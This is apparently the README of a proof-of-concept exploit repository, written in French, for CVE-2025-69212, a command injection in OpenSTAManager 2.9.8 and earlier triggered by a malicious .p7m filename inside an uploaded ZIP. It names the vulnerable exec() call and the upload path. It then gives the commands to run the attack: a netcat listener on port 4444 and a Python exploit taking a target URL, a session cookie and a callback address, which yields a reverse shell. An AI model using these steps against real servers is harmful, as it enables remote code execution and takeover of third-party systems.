tohib09/cve-2025-69212-pocPreuve de concept d'exploitation pour CVE-2025-69212 : injection de commandes système dans OpenSTAManager <= 2.9.8 via un nom de fichier .p7m malveillant lors du téléversement ZIP, permettant l'exécution de code à distance.
OpenSTAManager <= 2.9.8 — Injection de commandes système via un nom de fichier .p7m malveillant dans un téléchargement ZIP.
Fichier : src/Util/XML.php:100 — $file non assaini dans exec()
Vecteur : /plugins/importFE_ZIP/actions.php → ZIP → nom de fichier .p7m → exec("openssl smime ... -in \"$file\" ...")
# Listener
nc -lvnp 4444
# Exploit
python3 CVE-2025-69212.py http://target.htb YOUR_PHPSESSID 10.10.14.X 4444